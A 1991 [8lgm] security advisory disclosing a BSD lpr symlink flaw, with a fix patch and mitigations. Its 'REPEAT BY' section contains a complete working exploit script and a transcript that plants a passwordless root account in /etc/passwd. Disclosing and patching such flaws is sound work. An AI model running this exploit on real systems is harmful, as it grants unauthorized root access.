[8lgm]-Advisory-3.UNIX.lpr.19-Aug-1991

PROGRAM:

        lpr(1)          (/usr/ucb/lpr or /usr/bin/lpr)

VULNERABLE OS's:

Most systems supporting the BSD LP subsystem

DESCRIPTION:

lpr(1) can be used to overwrite or create (and become owner of) any file on the system. lpr -s allows users to create symbolic links in lpd's spool directory (typically /var/spool/lpd). After 1000 invocations of lpr, lpr will reuse the filename in the spool directory, and follow the link previously installed. It will thus overwrite/create any file that this link points too.

IMPACT:

Any user with access to lpr(1) can alter system files and thus become root.

REPEAT BY:

This example demonstrates how to become root on most affected machines by modifying /etc/passwd and /etc/group. Please do not do this unless you have permission.

Create the following script, 'lprcp': 

8<--------------------------- cut here ----------------------------
#!/bin/csh -f
# 
# Usage: lprcp from-file to-file
#

if ($#argv != 2) then
        echo Usage: lprcp from-file to-file
        exit 1
endif

# This link stuff allows us to overwrite unreadable files,
# should we want to.
echo x > /tmp/.tmp.$$
lpr -q -s /tmp/.tmp.$$
rm -f /tmp/.tmp.$$              # lpr's accepted it, point it
ln -s $2 /tmp/.tmp.$$           # to where we really want

@ s = 0
while ( $s != 999)              # loop 999 times
        lpr /nofile >&/dev/null # doesn't exist, but spins the clock!
        @ s++
        if ( $s % 10 == 0 ) echo -n .
end
lpr $1                          # incoming file
                                # user becomes owner
rm -f /tmp/.tmp.$$
exit 0
8<--------------------------- cut here ----------------------------

(Lines marked with > represent user input)

Make copies of /etc/passwd and /etc/group, and modify them: 

>       % id
        uid=97(8lgm) gid=97(8lgm) groups=97(8lgm)
>       % cp /etc/passwd /tmp/passwd
>       % ex /tmp/passwd
        /tmp/passwd: unmodified: line 42
>       :a
>       8lgmroot::0:0:Test account for lpr bug:/:/bin/csh
>       .
>       :wq
        /tmp/passwd: 43 lines, 2188 characters.
>       % cp /etc/group /tmp
>       % ex /tmp/group
        /tmp/group: unmodified: line 49
>       :/wheel
        wheel:*:0:root,operator
>       :c
>       wheel:*:0:root,operator,8lgm
>       .
>       :wq
        /tmp/group: 49 lines, 944 characters.

Install our new files: 

>       % ./lprcp /tmp/group /etc/group
...............................................................
..................................
        lpr: cannot rename /var/spool/lpd/cfA060testnode
>       % ./lprcp /tmp/passwd /etc/passwd
................................................................
.................................
        lpr: cannot rename /var/spool/lpd/cfA061testnode

Check it worked: 

>       % ls -l /etc/passwd /etc/group
        -rw-r--r--    1 8lgm          944 Mar  3 19:56 /etc/group
        -rw-r--r--    1 8lgm         2188 Mar  3 19:59 /etc/passwd
>       % head -1 /etc/group
        wheel:*:0:root,operator,8lgm
>       % grep '^8lgmroot' /etc/passwd
        8lgmroot::0:0:Test account for lpr bug:/:/bin/csh

Become root and tidy up: 

>       % su 8lgmroot
        # chown root /etc/passwd /etc/group
        # rm -f /tmp/passwd /tmp/group
        #

FIX:

  1. Contact your vendor for a fix.
  2. In the meantime, apply the following patch, derived from BSD NET/2 source, which will correct the flaw on most affected systems: 

8<--------------------------- cut here ----------------------------
*** usr/src/usr.sbin/lpr/lpr/lpr.c.orig
--- usr/src/usr.sbin/lpr/lpr/lpr.c
***************
*** 476,496 ****
  
  /*
   * Create a new file in the spool directory.
   */
  nfile(n)
        char *n;
  {
        register f;
        int oldumask = umask(0);                /* should block signals */
  
!       f = creat(n, FILMOD);
        (void) umask(oldumask);
        if (f < 0) {
                printf("%s: cannot create %s\n", name, n);
                cleanup();
        }
        if (fchown(f, userid, -1) < 0) {
                printf("%s: cannot chown %s\n", name, n);
                cleanup();
        }
        if (++n[inchar] > 'z') {
--- 476,501 ----
  
  /*
   * Create a new file in the spool directory.
   */
  nfile(n)
        char *n;
  {
        register f;
        int oldumask = umask(0);                /* should block signals */
  
!       /*
!        * Changed creat() to open() to correct
!        * a security flaw involving symlinks
!        */
!       /* f = creat(n, FILMOD); */
!       f = open(n, O_WRONLY|O_EXCL|O_CREAT, FILMOD);
        (void) umask(oldumask);
        if (f < 0) {
                printf("%s: cannot create %s\n", name, n);
                cleanup();
        }
        if (fchown(f, userid, -1) < 0) {
                printf("%s: cannot chown %s\n", name, n);
                cleanup();
        }
        if (++n[inchar] > 'z') {
8<--------------------------- cut here ----------------------------

  1. If you do not have source, you are advised to obtain the BSD LP subsystem from the NET/2 release (available from ftp.uu.net), apply the above patch, and use that.

  2. Alternatively, some vendors supply both the BSD and SYS V LP subsystems, in which case you can disable BSD lpr/lpd and use SYS V lp/lpsched instead.

  3. If none of the above are practical, you are advised to restrict access (via groups) to lpr. If lpr is mode 6755 on your system, you can still do this using a directory and a symbolic link.

FEEDBACK AND CONTACT INFORMATION:

        8lgm-bugs@bagpuss.demon.co.uk           (To report security flaws)


        8lgm-request@bagpuss.demon.co.uk        (Request for [8lgm] Advisories)


        8lgm@bagpuss.demon.co.uk                (General enquiries)

System Administrators are encouraged to contact us for any other information they may require about the problems described in this advisory.

We welcome reports about which platforms this flaw does or does not exist on.